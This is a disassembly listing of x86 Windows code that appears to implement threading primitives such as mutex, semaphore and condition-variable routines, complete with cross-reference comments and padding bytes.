		call	sub_401DD4
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42F480	proc near		; CODE XREF: sub_401122j
		mov	eax, dword_50E3EC
		push	esi
		push	eax
		call	sub_401190
sub_42F480	endp

; ---------------------------------------------------------------------------
		mov	esi, eax
		add	esp, 4
		test	esi, esi
		jz	short loc_42F4BE
		mov	eax, [esp+8]
		test	eax, eax
		jz	short loc_42F4AC
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_42F4AC
		mov	ecx, [esi+4]
		push	ecx
		call	eax
		add	esp, 4


loc_42F4AC:				; CODE XREF: ___:0042F49Bj
					; ___:0042F4A1j
		mov	edx, [esi+8]
		mov	eax, dword_50E3EC
		push	edx
		push	eax
		call	sub_4020DB
; ---------------------------------------------------------------------------
		add	esp, 8


loc_42F4BE:				; CODE XREF: ___:0042F493j
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42F4F0	proc near		; CODE XREF: sub_401659j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_8]
		push	esi
		mov	esi, [esp+4+arg_0]
		mov	[esi], eax
		mov	[esi+4], ecx
		mov	edx, dword_50E3EC
		push	edx
		call	sub_401190
sub_42F4F0	endp

; ---------------------------------------------------------------------------
		mov	[esi+8], eax
		mov	eax, dword_50E3EC
		push	esi
		push	eax
		call	sub_4020DB
; ---------------------------------------------------------------------------
		add	esp, 0Ch
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42F540	proc near		; CODE XREF: sub_401B4Fj

arg_0		= dword	ptr  4

		push	esi
		push	offset dword_50E940
		xor	esi, esi
		nop
		call	near ptr 7C901005h
		mov	ecx, [esp+4+arg_0]
		mov	eax, [ecx]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_42F574
		push	esi
		push	ecx
		call	sub_401541
		add	esp, 8
		mov	esi, eax
		push	offset dword_50E940
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42F574:				; CODE XREF: sub_42F540+17j
		test	eax, eax
		jnz	short loc_42F57D
		mov	esi, 16h


loc_42F57D:				; CODE XREF: sub_42F540+36j
		push	offset dword_50E940
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		retn
sub_42F540	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F5B0:				; CODE XREF: ___:004020FEj
		push	esi
		push	4
		push	1
		xor	esi, esi
		call	near ptr 77C2C0C3h
		nop
		add	esp, 8
		test	eax, eax
		jnz	short loc_42F5D3
		mov	edx, [esp+8]
		mov	ecx, 0Ch
		pop	esi
		mov	[edx], eax
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_42F5D3:				; CODE XREF: ___:0042F5C2j
		mov	ecx, [esp+8]
		mov	[ecx], eax
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F5F0:				; CODE XREF: ___:004021D0j
		push	esi
		mov	esi, [esp+8]
		test	esi, esi
		jz	short loc_42F613
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_42F613
		push	eax
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		mov	dword ptr [esi], 0
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42F613:				; CODE XREF: ___:0042F5F7j
					; ___:0042F5FDj
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F630:				; CODE XREF: ___:00401005j
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_42F64D
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_42F64D
		mov	ecx, [esp+8]
		test	ecx, ecx
		jz	short loc_42F64D
		mov	eax, [eax]
		mov	[ecx], eax
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_42F64D:				; CODE XREF: ___:0042F636j
					; ___:0042F63Cj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F670:				; CODE XREF: ___:004012ADj
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_42F69A
		mov	ecx, [eax]
		test	ecx, ecx
		jz	short loc_42F69A
		mov	eax, [esp+8]
		cmp	eax, 1
		jz	short loc_42F68E
		test	eax, eax
		jnz	short loc_42F69A
		mov	[ecx], eax
		retn
; ---------------------------------------------------------------------------


loc_42F68E:				; CODE XREF: ___:0042F685j
		mov	eax, 28h
		mov	dword ptr [ecx], 0
		retn
; ---------------------------------------------------------------------------


loc_42F69A:				; CODE XREF: ___:0042F676j
					; ___:0042F67Cj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42F6B0	proc near		; CODE XREF: sub_401541j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		xor	edi, edi
		xor	esi, esi
		cmp	eax, edi
		jnz	short loc_42F6C6
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42F6C6:				; CODE XREF: sub_42F6B0+Cj
		mov	eax, [esp+8+arg_4]
		push	ebx
		cmp	eax, edi
		push	ebp
		jz	short loc_42F6ED
		mov	eax, [eax]
		cmp	eax, edi
		jz	short loc_42F6ED
		cmp	dword ptr [eax], 1
		jnz	short loc_42F6ED
		mov	edx, [esp+10h+arg_0]
		mov	edi, 28h
		pop	ebp
		mov	eax, edi
		pop	ebx
		mov	[edx], esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42F6ED:				; CODE XREF: sub_42F6B0+1Ej
					; sub_42F6B0+24j ...
		push	20h
		push	1
		call	near ptr 77C2C0C3h
		nop
		mov	esi, eax
		add	esp, 8
		cmp	esi, edi
		jnz	short loc_42F712
		mov	edx, [esp+10h+arg_0]
		mov	edi, 0Ch
		pop	ebp
		mov	eax, edi
		pop	ebx
		mov	[edx], esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42F712:				; CODE XREF: sub_42F6B0+4Ej
		lea	ebp, [esi+10h]
		push	1
		push	edi
		push	ebp
		mov	[esi], edi
		mov	[esi+8], edi
		mov	[esi+4], edi
		call	sub_401C76
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_42F737
		nop
		call	near ptr 77C1F2BCh
		mov	edi, [eax]
		jmp	short loc_42F77B
; ---------------------------------------------------------------------------


loc_42F737:				; CODE XREF: sub_42F6B0+7Bj
		lea	ebx, [esi+0Ch]
		push	0
		push	0
		push	ebx
		call	sub_401C76
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_42F755
		call	near ptr 77C1F2BCh
		nop
		mov	edi, [eax]
		jmp	short loc_42F772
; ---------------------------------------------------------------------------


loc_42F755:				; CODE XREF: sub_42F6B0+99j
		lea	eax, [esi+14h]
		push	0
		push	eax
		call	sub_402199
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jz	short loc_42F7DF
		push	ebx
		call	sub_401686
		add	esp, 4


loc_42F772:				; CODE XREF: sub_42F6B0+A3j
		push	ebp
		call	sub_401686
		add	esp, 4


loc_42F77B:				; CODE XREF: sub_42F6B0+85j
		push	esi
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		xor	esi, esi
		test	edi, edi
		jnz	short loc_42F7D2


loc_42F78B:				; CODE XREF: sub_42F6B0+131j
		push	offset dword_50E9C0
		nop
		call	near ptr 7C901005h
		mov	dword ptr [esi+18h], 0
		mov	ecx, dword_50E3F4
		mov	[esi+1Ch], ecx
		mov	eax, dword_50E3F4
		test	eax, eax
		jz	short loc_42F7B2
		mov	[eax+18h], esi


loc_42F7B2:				; CODE XREF: sub_42F6B0+FDj
		mov	eax, dword_50E3F0
		mov	dword_50E3F4, esi
		test	eax, eax
		jnz	short loc_42F7C7
		mov	dword_50E3F0, esi


loc_42F7C7:				; CODE XREF: sub_42F6B0+10Fj
		push	offset dword_50E9C0
		nop
		call	near ptr 7C9010EDh


loc_42F7D2:				; CODE XREF: sub_42F6B0+D9j
		mov	edx, [esp+10h+arg_0]
		pop	ebp
		mov	eax, edi
		pop	ebx
		mov	[edx], esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42F7DF:				; CODE XREF: sub_42F6B0+B7j
		xor	edi, edi
		jmp	short loc_42F78B
sub_42F6B0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42F840	proc near		; CODE XREF: sub_401A91j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+14h+arg_0]
		xor	esi, esi
		xor	ebp, ebp
		xor	ebx, ebx
		test	edi, edi
		mov	[esp+14h+var_4], ebp
		jz	loc_42F9EC
		mov	eax, [edi]
		test	eax, eax
		jz	loc_42F9EC
		cmp	eax, 0FFFFFFFFh
		jz	loc_42F9A3
		push	offset dword_50E9C0
		nop
		call	near ptr 7C901005h
		mov	esi, [edi]
		lea	ebx, [esi+10h]
		push	ebx
		call	sub_401041
		add	esp, 4
		test	eax, eax
		jz	short loc_42F899
		call	near ptr 77C1F2BCh
		nop
		mov	eax, [eax]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42F899:				; CODE XREF: sub_42F840+49j
		lea	ebp, [esi+14h]
		push	ebp
		call	sub_40177B
		add	esp, 4
		mov	[esp+14h+arg_0], eax
		test	eax, eax
		jz	short loc_42F8C0
		push	ebx
		call	sub_40103C
		mov	eax, [esp+18h+arg_0]
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42F8C0:				; CODE XREF: sub_42F840+6Bj
		mov	eax, [esi]
		mov	ecx, [esi+4]
		cmp	eax, ecx
		jle	short loc_42F8F9
		push	ebx
		call	sub_40103C
		add	esp, 4
		test	eax, eax
		jz	short loc_42F8E2
		nop
		call	near ptr 77C1F2BCh
		mov	ecx, [eax]
		mov	[esp+14h+arg_0], ecx


loc_42F8E2:				; CODE XREF: sub_42F840+94j
		push	ebp
		call	sub_4010C3
		add	esp, 4
		mov	[esp+14h+var_4], eax
		mov	ebx, 10h
		jmp	loc_42F98E
; ---------------------------------------------------------------------------


loc_42F8F9:				; CODE XREF: sub_42F840+87j
		push	ebx
		mov	dword ptr [edi], 0
		call	sub_401686
		mov	edi, dword_50FA64
		add	esp, 4
		test	eax, eax
		jz	short loc_42F91A
		call	edi	; _errno
		mov	edx, [eax]
		mov	[esp+14h+arg_0], edx


loc_42F91A:				; CODE XREF: sub_42F840+D0j
		lea	eax, [esi+0Ch]
		push	eax
		call	sub_401686
		add	esp, 4
		test	eax, eax
		jz	short loc_42F932
		call	edi	; _errno
		mov	ecx, [eax]
		mov	[esp+14h+var_4], ecx


loc_42F932:				; CODE XREF: sub_42F840+E8j
		push	ebp
		call	sub_4010C3
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_42F94C
		push	ebp
		call	sub_40222F
		add	esp, 4
		mov	ebx, eax


loc_42F94C:				; CODE XREF: sub_42F840+FFj
		cmp	dword_50E3F0, esi
		jnz	short loc_42F95F
		mov	edx, [esi+18h]
		mov	dword_50E3F0, edx
		jmp	short loc_42F968
; ---------------------------------------------------------------------------


loc_42F95F:				; CODE XREF: sub_42F840+112j
		mov	eax, [esi+1Ch]
		mov	ecx, [esi+18h]
		mov	[eax+18h], ecx


loc_42F968:				; CODE XREF: sub_42F840+11Dj
		cmp	dword_50E3F4, esi
		jnz	short loc_42F97B
		mov	edx, [esi+1Ch]
		mov	dword_50E3F4, edx
		jmp	short loc_42F984
; ---------------------------------------------------------------------------


loc_42F97B:				; CODE XREF: sub_42F840+12Ej
		mov	eax, [esi+18h]
		mov	ecx, [esi+1Ch]
		mov	[eax+1Ch], ecx


loc_42F984:				; CODE XREF: sub_42F840+139j
		push	esi
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4


loc_42F98E:				; CODE XREF: sub_42F840+B4j
		push	offset dword_50E9C0
		nop
		call	near ptr 7C9010EDh
		mov	esi, [esp+14h+arg_0]
		mov	ebp, [esp+14h+var_4]
		jmp	short loc_42F9D2
; ---------------------------------------------------------------------------


loc_42F9A3:				; CODE XREF: sub_42F840+28j
		push	offset dword_50E940
		call	near ptr 7C901005h
		nop
		cmp	dword ptr [edi], 0FFFFFFFFh
		jnz	short loc_42F9BB
		mov	dword ptr [edi], 0
		jmp	short loc_42F9C7
; ---------------------------------------------------------------------------


loc_42F9BB:				; CODE XREF: sub_42F840+171j
		mov	[esp+14h+arg_0], 10h
		mov	esi, [esp+14h+arg_0]


loc_42F9C7:				; CODE XREF: sub_42F840+179j
		push	offset dword_50E940
		call	near ptr 7C9010EDh
		nop


loc_42F9D2:				; CODE XREF: sub_42F840+161j
		test	esi, esi
		jz	short loc_42F9DE
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42F9DE:				; CODE XREF: sub_42F840+194j
		test	ebp, ebp
		mov	eax, ebp
		jnz	short loc_42F9F1
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42F9EC:				; CODE XREF: sub_42F840+15j
					; sub_42F840+1Fj
		mov	eax, 16h


loc_42F9F1:				; CODE XREF: sub_42F840+1A2j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
sub_42F840	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42FA70	proc near		; CODE XREF: sub_401203j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	0
		push	eax
		push	ecx
		call	sub_42FAA0
		add	esp, 0Ch
		retn
sub_42FA70	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42FAA0	proc near		; CODE XREF: sub_42FA70+Cp
					; sub_42FD70+19p

var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 20h
		push	esi
		mov	esi, [esp+24h+arg_0]
		test	esi, esi
		push	edi
		mov	[esp+28h+var_20], 0
		jz	loc_42FBA9
		mov	eax, [esi]
		test	eax, eax
		jz	loc_42FBA9
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_42FAE2
		push	esi
		call	sub_401B4F
		add	esp, 4
		mov	[esp+28h+var_20], eax
		test	eax, eax
		jz	short loc_42FAE2
		cmp	eax, 10h
		jnz	loc_42FBAE


loc_42FAE2:				; CODE XREF: sub_42FAA0+26j
					; sub_42FAA0+37j
		mov	esi, [esi]
		lea	edi, [esi+10h]
		push	edi
		call	sub_401041
		add	esp, 4
		test	eax, eax
		jz	short loc_42FB02
		nop
		call	near ptr 77C1F2BCh
		mov	eax, [eax]
		pop	edi
		pop	esi
		add	esp, 20h
		retn
; ---------------------------------------------------------------------------


loc_42FB02:				; CODE XREF: sub_42FAA0+52j
		mov	ecx, [esi]
		push	edi
		inc	ecx
		mov	[esi], ecx
		call	sub_40103C
		add	esp, 4
		test	eax, eax
		jz	short loc_42FB22
		nop
		call	near ptr 77C1F2BCh
		mov	eax, [eax]
		pop	edi
		pop	esi
		add	esp, 20h
		retn
; ---------------------------------------------------------------------------


loc_42FB22:				; CODE XREF: sub_42FAA0+72j
		mov	edi, [esp+28h+arg_4]
		lea	ecx, [esp+28h+var_10]
		push	ecx
		lea	edx, [esp+2Ch+var_1C]
		lea	eax, [esp+2Ch+var_20]
		push	offset loc_42FC10
		push	edx
		mov	[esp+34h+var_10], edi
		mov	[esp+34h+var_C], esi
		mov	[esp+34h+var_8], eax
		mov	[esp+34h+var_4], 0
		call	sub_401659
; ---------------------------------------------------------------------------
		dw 0E857h
		dd 0FFFD156Bh, 8910C483h, 85082444h, 8B2775C0h,	83342444h
		dd 56500CC6h, 0FD1D27E8h, 8C483FFh, 0E74C085h, 0F73EE890h
		dd 8B777Eh, 8244489h, 448B04EBh, 0C9330824h, 0C085016Ah
		dd 89C1940Fh, 0E828244Ch, 0FFFD1586h, 0C24448Bh, 5F04C483h
		dd 20C4835Eh
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------


loc_42FBA9:				; CODE XREF: sub_42FAA0+13j
					; sub_42FAA0+1Dj
		mov	eax, 16h


loc_42FBAE:				; CODE XREF: sub_42FAA0+3Cj
		pop	edi
		pop	esi
		add	esp, 20h
		retn
sub_42FAA0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FC10:				; DATA XREF: sub_42FAA0+93o
		push	ecx
		push	ebx
		push	ebp
		mov	ebp, [esp+10h]
		push	esi
		push	edi
		mov	esi, [ebp+4]
		mov	ebx, [ebp+8]
		mov	[esp+18h], ebx
		lea	edi, [esi+14h]
		push	edi
		call	sub_402225
		add	esp, 4
		test	eax, eax
		jz	short loc_42FC3B
		pop	edi
		pop	esi
		mov	[ebx], eax
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42FC3B:				; CODE XREF: ___:0042FC31j
		mov	ebx, [esi+8]
		test	ebx, ebx
		mov	[esp+10h], ebx
		jz	short loc_42FC4E
		lea	eax, [ebx-1]
		mov	[esi+8], eax
		jmp	short loc_42FCB7
; ---------------------------------------------------------------------------


loc_42FC4E:				; CODE XREF: ___:0042FC44j
		mov	ecx, [esi+4]
		inc	ecx
		mov	eax, ecx
		mov	[esi+4], ecx
		cmp	eax, 3FFFFFFFh
		jnz	short loc_42FCB7
		lea	ebx, [esi+10h]
		push	ebx
		call	sub_401041
		add	esp, 4
		test	eax, eax
		jz	short loc_42FC82
		nop
		call	near ptr 77C1F2BCh
		mov	edx, [esp+18h]
		mov	ecx, [eax]
		pop	edi
		pop	esi
		pop	ebp
		mov	[edx], ecx
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42FC82:				; CODE XREF: ___:0042FC6Cj
		mov	eax, [esi+4]
		mov	ecx, [esi]
		sub	ecx, eax
		push	ebx
		mov	[esi], ecx
		call	sub_40103C
		add	esp, 4
		test	eax, eax
		jz	short loc_42FCAC
		call	near ptr 77C1F2BCh
		nop
		mov	edx, [esp+18h]
		mov	ecx, [eax]
		pop	edi
		pop	esi
		pop	ebp
		mov	[edx], ecx
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42FCAC:				; CODE XREF: ___:0042FC96j
		mov	ebx, [esp+10h]
		mov	dword ptr [esi+4], 0


loc_42FCB7:				; CODE XREF: ___:0042FC4Cj
					; ___:0042FC5Cj
		push	edi
		call	sub_4010C3
		add	esp, 4
		test	eax, eax
		jz	short loc_42FCD0
		mov	ecx, [esp+18h]
		pop	edi
		pop	esi
		pop	ebp
		mov	[ecx], eax
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42FCD0:				; CODE XREF: ___:0042FCC2j
		cmp	ebx, 1
		jnz	short loc_42FCF9
		add	esi, 10h
		push	esi
		call	sub_40103C
		add	esp, 4
		test	eax, eax
		jz	short loc_42FCF9
		call	near ptr 77C1F2BCh
		nop
		mov	edx, [eax]
		mov	eax, [esp+18h]
		pop	edi
		pop	esi
		pop	ebp
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42FCF9:				; CODE XREF: ___:0042FCD3j
					; ___:0042FCE3j
		mov	ecx, [ebp+0]
		push	ecx
		call	sub_402225
		add	esp, 4
		test	eax, eax
		jz	short loc_42FD0F
		mov	edx, [esp+18h]
		mov	[edx], eax


loc_42FD0F:				; CODE XREF: ___:0042FD07j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42FD70	proc near		; CODE XREF: sub_4011E0j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_8]
		test	eax, eax
		jnz	short loc_42FD7E
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------


loc_42FD7E:				; CODE XREF: sub_42FD70+6j
		mov	ecx, [esp+arg_0]
		push	eax
		mov	eax, [esp+4+arg_4]
		push	eax
		push	ecx
		call	sub_42FAA0
		add	esp, 0Ch
		retn
sub_42FD70	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42FDB0	proc near		; CODE XREF: sub_401E51j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_42FDD0
		add	esp, 8
		retn
sub_42FDB0	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42FDD0	proc near		; CODE XREF: sub_42FDB0+7p
					; sub_42FF30+7p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	ebx
		push	esi
		push	edi
		test	eax, eax
		jz	loc_42FED4
		mov	esi, [eax]
		test	esi, esi
		jz	loc_42FED4
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_42FDF4
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42FDF4:				; CODE XREF: sub_42FDD0+1Cj
		lea	ebx, [esi+14h]
		push	ebx
		call	sub_402225
		add	esp, 4
		test	eax, eax
		jnz	loc_42FED9
		mov	ecx, [esi+8]
		mov	eax, [esi]
		test	ecx, ecx
		jz	short loc_42FE44
		test	eax, eax
		jnz	short loc_42FE22


loc_42FE15:				; CODE XREF: sub_42FDD0+77j
		push	ebx
		call	sub_4010C3
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42FE22:				; CODE XREF: sub_42FDD0+43j
		mov	edx, [esp+0Ch+arg_4]
		test	edx, edx
		jz	short loc_42FE39
		mov	edi, eax
		mov	dword ptr [esi], 0
		add	ecx, edi
		mov	[esi+8], ecx
		jmp	short loc_42FEA6
; ---------------------------------------------------------------------------


loc_42FE39:				; CODE XREF: sub_42FDD0+58j
		inc	ecx
		mov	edi, 1
		mov	[esi+8], ecx
		jmp	short loc_42FEA3
; ---------------------------------------------------------------------------


loc_42FE44:				; CODE XREF: sub_42FDD0+3Fj
		cmp	eax, [esi+4]
		jle	short loc_42FE15
		lea	ecx, [esi+10h]
		push	ecx
		call	sub_401041
		add	esp, 4
		test	eax, eax
		jz	short loc_42FE70
		nop
		call	near ptr 77C1F2BCh
		mov	esi, [eax]
		push	ebx
		call	sub_4010C3
		add	esp, 4
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42FE70:				; CODE XREF: sub_42FDD0+87j
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_42FE84
		mov	ecx, [esi]
		mov	dword ptr [esi+4], 0
		sub	ecx, eax
		mov	[esi], ecx


loc_42FE84:				; CODE XREF: sub_42FDD0+A5j
		mov	eax, [esp+0Ch+arg_4]
		test	eax, eax
		jz	short loc_42FE99
		mov	edi, [esi]
		mov	dword ptr [esi], 0
		mov	[esi+8], edi
		jmp	short loc_42FEA6
; ---------------------------------------------------------------------------


loc_42FE99:				; CODE XREF: sub_42FDD0+BAj
		mov	eax, [esi]
		mov	edi, 1
		mov	[esi+8], edi


loc_42FEA3:				; CODE XREF: sub_42FDD0+72j
		dec	eax
		mov	[esi], eax


loc_42FEA6:				; CODE XREF: sub_42FDD0+67j
					; sub_42FDD0+C7j
		push	ebx
		call	sub_4010C3
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_42FECE
		add	esi, 0Ch
		push	edi
		push	esi
		call	sub_40204A
		add	esp, 8
		test	eax, eax
		jz	short loc_42FECE
		call	near ptr 77C1F2BCh
		nop
		mov	ebx, [eax]


loc_42FECE:				; CODE XREF: sub_42FDD0+E3j
					; sub_42FDD0+F4j
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42FED4:				; CODE XREF: sub_42FDD0+9j
					; sub_42FDD0+13j
		mov	eax, 16h


loc_42FED9:				; CODE XREF: sub_42FDD0+32j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_42FDD0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42FF30	proc near		; CODE XREF: sub_401604j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_42FDD0
		add	esp, 8
		retn
sub_42FF30	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42FF50	proc near		; CODE XREF: sub_40123Aj

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, 0Bh
		xor	ebx, ebx
		call	sub_401B13
		mov	esi, eax
		test	esi, esi
		jz	loc_430026
		mov	eax, [esi+28h]
		push	0Ch
		mov	[esp+14h+var_4], eax
		nop
		call	near ptr 77C2C407h
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jz	loc_430026
		mov	ecx, [esp+10h+arg_8]
		mov	edx, [esp+10h+arg_C]
		push	ebp
		mov	ebp, [esp+14h+arg_4]
		test	ebp, ebp
		mov	[ebx], esi
		mov	[ebx+4], ecx
		mov	[ebx+8], edx
		jz	short loc_42FFCE
		mov	eax, [ebp+0]
		test	eax, eax
		jz	short loc_42FFCE
		mov	edi, [eax+8]
		mov	eax, [eax+0Ch]
		mov	[esi+20h], eax
		mov	eax, [ebp+0]
		mov	ecx, [eax+10h]
		mov	[esp+14h+var_4], ecx
		mov	ecx, [eax+14h]
		test	ecx, ecx
		jnz	short loc_42FFD0
		call	sub_4012E4
; ---------------------------------------------------------------------------
		mov	edx, [eax+28h]
		mov	[esp+14h+var_4], edx
		jmp	short loc_42FFD0
; ---------------------------------------------------------------------------


loc_42FFCE:				; CODE XREF: sub_42FF50+4Dj
					; sub_42FF50+54j
		xor	edi, edi


loc_42FFD0:				; CODE XREF: sub_42FF50+6Ej
					; sub_42FF50+7Cj
		push	esi
		push	4
		push	ebx
		xor	eax, eax
		push	offset loc_401B95
		push	edi
		push	eax
		mov	[esi+0Ch], eax
		mov	[esi+80h], eax
		nop
		call	near ptr 77C3A3DBh
		mov	edi, eax
		add	esp, 18h
		test	edi, edi
		mov	[esi+4], edi
		jz	short loc_430019
		test	ebp, ebp
		jz	short loc_430012
		cmp	dword ptr [ebp+0], 0
		jz	short loc_430012
		mov	eax, [esp+14h+var_4]
		push	eax
		push	0
		push	esi
		call	sub_4020B3
		add	esp, 0Ch


loc_430012:				; CODE XREF: sub_42FF50+AAj
					; sub_42FF50+B0j
		push	edi
		call	near ptr 27601FEh
		nop


loc_430019:				; CODE XREF: sub_42FF50+A6j
		neg	edi
		sbb	edi, edi
		pop	ebp
		and	edi, 0FFFFFFF5h
		add	edi, 0Bh
		jz	short loc_430059


loc_430026:				; CODE XREF: sub_42FF50+14j
					; sub_42FF50+30j
		push	esi
		call	sub_4017AD
		add	esp, 4
		xor	esi, esi
		test	ebx, ebx
		jz	short loc_43004C
		push	ebx
		call	near ptr 77C2C21Bh
		nop
		mov	ecx, [esp+14h+arg_0]
		add	esp, 4
		mov	eax, edi
		mov	[ecx], esi
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_43004C:				; CODE XREF: sub_42FF50+E3j
		mov	edx, [esp+10h+arg_0]
		mov	eax, edi
		pop	edi
		mov	[edx], esi
		pop	esi
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_430059:				; CODE XREF: sub_42FF50+D4j
		mov	eax, [esp+10h+arg_0]
		mov	[eax], esi
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		retn
sub_42FF50	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4300C0:				; CODE XREF: ___:00401343j
